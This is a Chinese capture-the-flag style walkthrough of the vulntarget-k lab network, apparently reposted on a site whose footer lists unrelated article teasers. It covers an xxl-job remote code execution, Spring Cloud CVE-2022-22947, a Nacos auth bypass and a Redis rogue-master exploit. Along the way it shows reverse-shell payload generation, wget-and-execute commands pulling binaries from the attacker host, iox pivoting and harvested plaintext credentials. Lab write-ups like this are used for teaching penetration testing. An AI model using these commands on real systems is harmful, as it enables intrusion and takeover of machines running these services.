vulntarget-k - 内网渗透

标签

xxl-job rce

Spring-Cloud-CVE-2022-22947

nacos auth bypass

iox

靶机难度比较简单,都是用用 exp 就好了

拓扑图

网卡设置

首先需要使用虚拟网络编辑器,增加 VMnet1、VMnet2、VMnet3

对三张网卡设置子网 IP

VMnet1
192.168.100.0
VMnet2
192.168.88.0
VMnet3
10.30.7.106

如遇到不能启动虚拟机,将 靶机名字.vmx,如 xxl-job.vmx 文件第四行更改

更改 xxl-job 虚拟机网卡,将桥接改为 VMnet3

攻击机 kali 也需要将桥接改为 VMnet3

当靶机全都开起来以后,可以做个快照,这样出问题就可以直接恢复快照了

Recon

对目标 10.30.7.106 做端口扫描,结果如下

PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
8081/tcp open  blackice-icecap
9999/tcp open  abyss

其中,访问 8080、8081 端口显示 404,目录扫描无结果

当访问 9999 端口时候,显示 {"code":500,"msg":"invalid request, HttpMethod not support."}

扫描目录也没有结果

所以能看到的信息只有这样一句话{"code":500,"msg":"invalid request, HttpMethod not support."} ,搜索得到

xxl-job

漏洞利用

获取 meterpreter shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.30.7.128 LPORT=1234 --platform linux -f elf -o xxl

python 开启临时 http 服务用于传输木马

python3 -m http.server 80

开启监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp 
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run

使用 burp 发送下面的数据包

POST /run HTTP/1.1
Host: 10.30.7.106:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 393{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "wget 10.30.7.128/xxl -O /tmp/.xxl;chmod +x /tmp/.xxl;/tmp/.xxl","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

得到 shell,权限为 root

meterpreter > shell
Process 1572 created.
Channel 1 created.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:c6:13:b0 brd ff:ff:ff:ff:ff:ffinet 10.30.7.106/21 brd 10.30.7.255 scope global ens33valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fec6:13b0/64 scope link valid_lft forever preferred_lft forever
3: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:c6:13:ba brd ff:ff:ff:ff:ff:ffinet 192.168.100.20/24 brd 192.168.100.255 scope global ens37valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fec6:13ba/64 scope link valid_lft forever preferred_lft forever
whoami
root

此处可以看到目标靶机为双网卡,还有另一个网段

接下来做 socks 代理,搜集内网存活主机

spring-cloud-geteway

横向移动

主机发现

for k in $( seq 1 255);do ping -c 1 192.168.100.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

得到

192.168.100.50

socks 代理

1、kali 使用 python 开启临时 http 服务

python3 -m http.server 80

2、kali 开启监听

./iox proxy -l 9991 -l 1080

3、将 iox 下载至入口机

wget 10.30.7.128/iox
chmod +x iox
./iox proxy -r 10.30.7.128:9991 &

完成 socks 代理搭建

对 100.50 使用 fscan 扫描

得到漏洞信息

proxychains4 ./fscan_amd64 -h 192.168.100.50 -socks5 127.0.0.1:1080
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.2
Socks5Proxy: socks5://127.0.0.1:1080
start infoscan
192.168.100.50:8848 open
192.168.100.50:8800 open
192.168.100.50:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://192.168.100.50:8848 code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle: http://192.168.100.50:8800 code:503 len:292    title:None
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos 
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947 
[+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file 
[+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2
已完成 3/3
[*] 扫描结束,耗时: 16.92195982s

漏洞利用 移动至 100.50

从扫描结果可以发现,100.50 只开放了 2 个端口,且两个端口都有漏洞

在 github 找到 Spring-Cloud-CVE-2022-22947 漏洞利用脚本

验证

proxychains4 python3 22947.py http://192.168.100.50:8800
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16___ _ __  _ __(_)_ __   __ _        ___| | ___  _   _  __| |      ___  __ _ 
/ __| '_ \| '__| | '_ \ / _` |_____ / __| |/ _ \| | | |/ _` |_____/ __|/ _` |
\__ \ |_) | |  | | | | | (_| |_____| (__| | (_) | |_| | (_| |_____\__ \ (_| |
|___/ .__/|_|  |_|_| |_|\__, |      \___|_|\___/ \__,_|\__,_|     |___/\__, ||_|                 |___/                                             |_|_ ____   ____ _____ ___| |  _ \ / ___| ____|/ _ \ | |_) | |   |  _|  
|  __/ |  _ <| |___| |___ \___|_|_| \_\____|_____|Usage: python3 CVE-2022-22947.py url
(If you want to get the reverse shell,please input: shell)Please input your commond: id
---------------------------------------
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
The commond result is : Result = 'uid=0(root) gid=0(root) groups=0(root)']

命令执行有回显

接下来获取 shell

Spring-Cloud-CVE-2022-22947 获取 meterpreter 会话

由于 100.50 和 3.x 网端是不通的,所以需要在入口机器 xxl-job 做端口转发,且生成的木马需要传输至 xxl-job

1、在 xxl-job 中使用 iox 开启端口转发

./iox fwd -l 2211 -r 10.30.7.128:1235 &

2、生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp  LHOST=192.168.100.20 LPORT=2211 --platform linux -f elf -o springcloud-re-2211 

3、下载木马至入口机器 xxl-job

wget 10.30.7.128/springcloud-re-2211
--2023-01-11 06:35:13--  http://10.30.7.128/springcloud-re-2211
Connecting to 10.30.7.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'springcloud-re-2211'0K                                                       100% 43.5M=0s2023-01-11 06:35:13 (43.5 MB/s) - 'springcloud-re-2211' saved [250/250]python3 -m http.server 1337
exit
meterpreter > bg
[*] Backgrounding session 1...

4、开启监听

[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set LPORT 1235
LPORT => 1235
msf6 exploit(multi/handler) > run

5、运行 exp

proxychains4 python3 22947.py http://192.168.100.50:8800
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16___ _ __  _ __(_)_ __   __ _        ___| | ___  _   _  __| |      ___  __ _ 
/ __| '_ \| '__| | '_ \ / _` |_____ / __| |/ _ \| | | |/ _` |_____/ __|/ _` |
\__ \ |_) | |  | | | | | (_| |_____| (__| | (_) | |_| | (_| |_____\__ \ (_| |
|___/ .__/|_|  |_|_| |_|\__, |      \___|_|\___/ \__,_|\__,_|     |___/\__, ||_|                 |___/                                             |_|_ ____   ____ _____ ___| |  _ \ / ___| ____|/ _ \ | |_) | |   |  _|  
|  __/ |  _ <| |___| |___ \___|_|_| \_\____|_____|Usage: python3 CVE-2022-22947.py url
(If you want to get the reverse shell,please input: shell)Please input your commond: shell
---------------------------------------
Please input your commond for reverse shell , such as ("bash -i >& /dev/tcp/192.168.190.177/5000 0>&1"): 
wget 192.168.100.20:1337/springcloud-re-2211 -O /tmp/.springcloud-re-2211;chmod +x /tmp/.springcloud-re-2211;/tmp/.springcloud-re-2211
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK

6、得到 springcloud 主机 shell

rumsf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 10.30.7.128:1235 
[*] Sending stage (3045348 bytes) to 10.30.7.106
[*] Meterpreter session 2 opened (10.30.7.128:1235 -> 10.30.7.106:39446) at 2023-01-11 01:36:09 -0500meterpreter > shell
Process 2199 created.
Channel 1 created.
whoami && ip a
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:8c:96:21 brd ff:ff:ff:ff:ff:ffinet 192.168.100.50/24 brd 192.168.100.255 scope global ens33valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fe8c:9621/64 scope link valid_lft forever preferred_lft forever
3: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:0c:29:8c:96:2b brd ff:ff:ff:ff:ff:ffinet 192.168.88.60/24 brd 192.168.88.255 scope global ens37valid_lft forever preferred_lft foreverinet6 fe80::20c:29ff:fe8c:962b/64 scope link valid_lft forever preferred_lft forever

8848 nacos 未授权

通过 fscan 的漏洞扫描结果,可以看到 8848 端口还开着一个网站,且有公开漏洞

利用步骤

1、使用 curl 发 POST 请求

proxychains4 curl -X POST http://192.168.100.50:8848/nacos/v1/auth/users\?username=test\&password=test
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8848  ...  OK
{"code":200,"message":"create user ok!","data":null} 

2、通过网页登录,测试成功

在 admin-api、redis-task 中得到一些凭据

spring:datasource:druid:url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=falseusername: rootpassword: Pabc@234%!redis:host: 0.0.0.0password: nbsg@123456port: 6379databases: 0,1,2,3,4,5,6,7timeout: 60000

三层代理

对 100.50 的利用以及差不多了,接下来移动至 88.x 段

for k in $( seq 1 255);do ping -c 1 192.168.88.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

得到 192.168.88.70

socks 代理

# kali
./iox proxy -l 9992 -l 10801
# xxl-job
./iox fwd -l 9992 -r 10.30.7.128:9992
# springcloud
./iox proxy -r 192.168.100.20:9992

redis

proxychains4 python3 redis-rce.py -r 192.168.88.70  -L 10.30.7.128 -f module.so -a "nbsg@123456"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   ▀                                     ▀                   [*] Connecting to  192.168.88.70:6379...
[proxychains] Strict chain  ...  127.0.0.1:10801  ...  192.168.88.70:6379  ...  OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:10801
[*] Setting filename
[+] Accepted connection from 127.0.0.1:10801
[*] Start listening on 10.30.7.128:21000
[*] Tring to run payload
[-] Error: timed out, exit
[*] Clean up..

由于网段不通,还需要做端口转发

# springcloudgeteway 
./iox fwd -l 21000 -r 192.168.100.20:8882
# xxl-job
./iox fwd -l 8882 -r 10.30.7.128:21000

再次运行 redis-rce.py

proxychains4 python3 redis-rce.py -r 192.168.88.70  -L 192.168.88.60 -P 21000  -f module.so -a "nbsg@123456"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   ▀                                     ▀                   [*] Connecting to  192.168.88.70:6379...
[proxychains] Strict chain  ...  127.0.0.1:10801  ...  192.168.88.70:6379  ...  OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:10801
[*] Setting filename
[+] Accepted connection from 127.0.0.1:10801
[*] Start listening on 192.168.88.60:21000
[*] Tring to run payload
[+] Accepted connection from 10.30.7.106:40740
[*] Closing rogue server...[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
$ cat /root/flag
flag{good_redis}

至此完成靶机渗透,得到三台机器 root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/744285.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EM算法详解

EM(Expectation-Maximum)算法也称期望最大化算法,曾入选“数据挖掘十大算法”中,可见EM算法在机器学习、数据挖掘中的影响力。EM算法是最常见的隐变量估计方法,在机器学习中有极为广泛的用途,例如常被用来学习高斯混合模型(Gaussian mixture model,简称GMM)的参数;隐…

SIP-7043 20W SIP网络有源吸顶喇叭

SIP-7043 20W SIP网络有源吸顶喇叭 一、描述 18123651365微信 声卡喊话IP喇叭&#xff0c;IP网络吸顶天花喇叭 SIP-7043VP是我司的一款SIP网络有源吸顶喇叭&#xff0c;具有10/100M以太网接口&#xff0c;内置有一个高品质扬声器&#xff0c;将网络音源通过自带的功放和喇叭…

jpg格式图片怎么生成二维码?扫码看图在线制作方法

多张jpg格式的图片如何做成二维码展示&#xff1f;jpg是现在最常用的一种图片格式&#xff0c;不管是拍摄的照片、设计图片或是其他类型的图片基本上都是这种格式。那么如何将jpg格式的图片放到二维码中展示呢&#xff1f;通过下面的文章内容来分享一下图片制作二维码在线的技巧…

scrcpy远程投屏控制Android

下载 下载后解压压缩包scrcpy-win64-v2.4.zip scrcpy连接手机 1. 有线连接 - 手机开启开发者选项&#xff0c;并开启USB调试&#xff0c;连接电脑&#xff0c;华为手机示例解压scrcpy&#xff0c;在scrcpy目录下打开终端&#xff0c;&#xff08;或添加scrcpy路径为环境变…

同态滤波算法详解

同态滤波是一种用于增强图像的方法&#xff0c;特别适用于去除图像中的照明不均和阴影。该算法基于照射反射模型&#xff0c;将图像分解为两个分量&#xff1a;照射分量&#xff08;illumination component&#xff09;和反射分量&#xff08;reflection component&#xff09;…

精品基于Uniapp+ssm停车场预约缴费微信小程序的设计与实现

《[含文档PPT源码等]精品微信小程序基于Uniappssm停车场微信小程序的设计与实现》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;Java 后台框架&#xff1a;ssm 安卓框架&…

Python打印输出Linux中最常用的linux命令之示例

一、Linux中的~/.bash_history文件说明&#xff1a; 该文件保存了linux系统中运行过的命令的历史。使用该文件来获取命令的列表&#xff0c;并统计命令的执行次数。统计时&#xff0c;只统计命令的名称&#xff0c;以不同参数调用相同的命令也视为同一命令。 二、示例代码&am…

csp模拟题(201604-2,俄罗斯方块模拟下坠)

题目 问题描述 俄罗斯方块是俄罗斯人阿列克谢帕基特诺夫发明的一款休闲游戏。   游戏在一个15行10列的方格图上进行&#xff0c;方格图上的每一个格子可能已经放置了方块&#xff0c;或者没有放置方块。每一轮&#xff0c;都会有一个新的由4个小方块组成的板块从方格图的上方…

应急响应实战笔记03权限维持篇(6)

0x00 前言 在渗透测试中&#xff0c;有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike。 那么&#xff0c;通过漏洞获取到目标主机权限后&#xff0c;如何利用框架获得持久性权限呢&#xff1f; 0x01 MSF权限维持 使用MSF维持权限的前提是先获得一个met…

C++:vector类

vector的介绍及使用 1. vector 是表示可变大小数组的序列容器。 2. 就像数组一样&#xff0c; vector 也采用的连续存储空间来存储元素。也就是意味着可以采用下标对 vector 的元素进行访问&#xff0c;和数组一样高效。但是又不像数组&#xff0c;它的大小是可以动态改变的…

提高转换效率的利器NCP13992ACDR2G 高性能电流模式LLC谐振变换器控制芯片

NCP13992ACDR2G产品概述&#xff1a; NCP13992ACDR2G是一款用于半桥谐振变换器的高性能电流模式控制器。该控制器实现了600 V栅极驱动器&#xff0c;简化了布局并减少了外部组件数量。内置的Brown−Out输入功能简化了控制器在所有应用程序中的实现。在需要PFC前级的应用中&…

采购代购系统独立站,接口采集商品上货

采购代购系统独立站的建设与商品上货接口的采集是一个综合性的项目&#xff0c;涉及前端开发、后端开发、数据库设计以及API接口的对接等多个环节。以下是一个大致的步骤和考虑因素&#xff1a; 一、系统规划与需求分析 明确业务需求&#xff1a;确定代购系统的核心功能&…

【SQL】1084. 销售分析III (多种解法;is null 和 =null 的区别图示 )

前述 知识点学习&#xff1a;MySQL 中 is null 和 null 的区别 题目描述 leetcode题目&#xff1a; 1084. 销售分析III 写法一 思路&#xff1a;“所有售出日期都在这个时间内”&#xff0c;也就是“在这个时间内售出的商品数量等于总商品数量” -- 解法1&#xff1a;ACCE…

桌面客户端软件开发框架

桌面客户端软件开发框架是用于创建桌面应用程序的工具集合&#xff0c;它们提供了开发者需要的基本组件、库和工具&#xff0c;以便于快速构建功能丰富、可靠的桌面应用程序。以下是一些常用的桌面客户端软件开发框架&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司…

bpmn-js中实现shape的内置属性、节点的默认配置

bpmn-js中使用elementfactory模块来构建一个元素的结构,其构建构成和元素属性的组成可参考:聊一聊bpmn-js中的elementFactory模块https://blog.csdn.net/chf1142152101/article/details/136294768。构建元素的属性会自动帮我们生成一个对应类型的shape的Id,其余属性均为空,…

【深入理解设计模式】命令设计模式

命令设计模式&#xff1a; 命令模式&#xff08;Command Pattern&#xff09;是一种行为型设计模式&#xff0c;它将请求封装为一个对象&#xff0c;从而使你可以用不同的请求对客户端进行参数化&#xff0c;对请求排队或记录请求日志&#xff0c;以及支持可撤销的操作。 概述…

CentOS本地部署Tale博客并结合内网穿透实现公网访问本地网站

文章目录 前言1. Tale网站搭建1.1 检查本地环境1.2 部署Tale个人博客系统1.3 启动Tale服务1.4 访问博客地址 2. Linux安装Cpolar内网穿透3. 创建Tale博客公网地址4. 使用公网地址访问Tale 前言 今天给大家带来一款基于 Java 语言的轻量级博客开源项目——Tale&#xff0c;Tale…

数据采集实训电商数据爬取python代码 电商数据抓取

电商平台的数据抓取&#xff0c;一直是网页抓取公式的热门实战实例&#xff0c;之前我们通常是针对国内的电商平台进行数据抓取&#xff0c;昨天小编受到委托&#xff0c;针对一个俄罗斯电商平台wildberries做了数据抓取&#xff0c;抓取的主要内容是商品标题、价格及评价数量。…

基于单片机的指纹采集识别系统设计

目 录 摘 要 I Abstract II 引 言 3 1 硬件选择与设计 5 1.1 总体设计及方案选择 5 1.1.1主控单片机选择 5 1.1.2传感器模块选择 6 1.1.3显示器模块选择 6 1.2 系统总体设计 7 2 系统硬件电路设计 8 2.1 系统主电路设计 8 2.1.1 主体电路设计 8 2.1.2 单片机最小系统设计 8 2.…

wpscan专门针对wordpress的安全扫描工具

说明 WPScan是一款专门针对WordPress的漏洞扫描工具&#xff0c;它使用Ruby编程语言编写。WPScan能够扫描WordPress网站中的多种安全漏洞&#xff0c;包括WordPress本身的漏洞、插件漏洞和主题漏洞。此外&#xff0c;WPScan还能扫描类似robots.txt这样的敏感文件&#xff0c;并…